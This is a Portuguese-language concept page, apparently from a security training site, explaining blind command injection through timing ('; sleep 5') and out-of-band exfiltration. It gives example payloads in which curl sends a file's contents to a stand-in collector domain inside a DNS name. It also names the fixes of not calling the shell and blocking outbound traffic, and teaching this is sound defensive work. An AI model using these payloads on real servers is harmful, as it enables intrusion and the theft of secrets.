Pular para o conteúdo
Todos os conceitos

Injeção de comando cega

Quando a saída do comando não volta para a tela, o tempo e um pedido de rede para fora viram o canal de resposta.

Nem toda página injetável mostra o que o comando imprimiu. Às vezes ela só diz online/offline, ou nada. A injeção funciona, mas você está às cegas: precisa de outro canal para ler a resposta.

O primeiro canal é o tempo. Um comando que demora prova que ele rodou: injetar ; sleep 5 e ver a resposta chegar cinco segundos mais tarde confirma a execução sem nenhuma saída. Com isso dá até para extrair um segredo bit a bit, fazendo o sleep só acontecer quando uma condição é verdadeira (o equivalente da injeção cega por tempo no SQL).

O segundo canal é fora de banda (out-of-band): se a saída não volta para você, faça o servidor mandá-la para fora. Um ; curl http://$(cat segredo).coletor.test/ faz o servidor pedir um domínio cujo nome carrega o segredo, e um coletor na internet registra esse nome. O dado sai pela consulta de DNS ou pelo pedido HTTP, não pela tela.

Os dois canais existem porque a execução acontece mesmo quando a saída some. O conserto é o mesmo das outras formas (não chamar o shell), e a rede ajuda bloqueando saídas inesperadas, que é o que fecha o canal fora de banda.

comando injetado ; sleep 5 ; curl http://$(cat s).probe.test saida descartada: a tela so diz online canal 1: tempo a resposta demora 5s: rodou canal 2: fora de banda s.probe.test o coletor registra o segredo no nome
A saída do comando é descartada, mas o sleep aparece no relógio e o curl deixa o segredo no nome de domínio que o coletor registra.

Aparece nestes desafios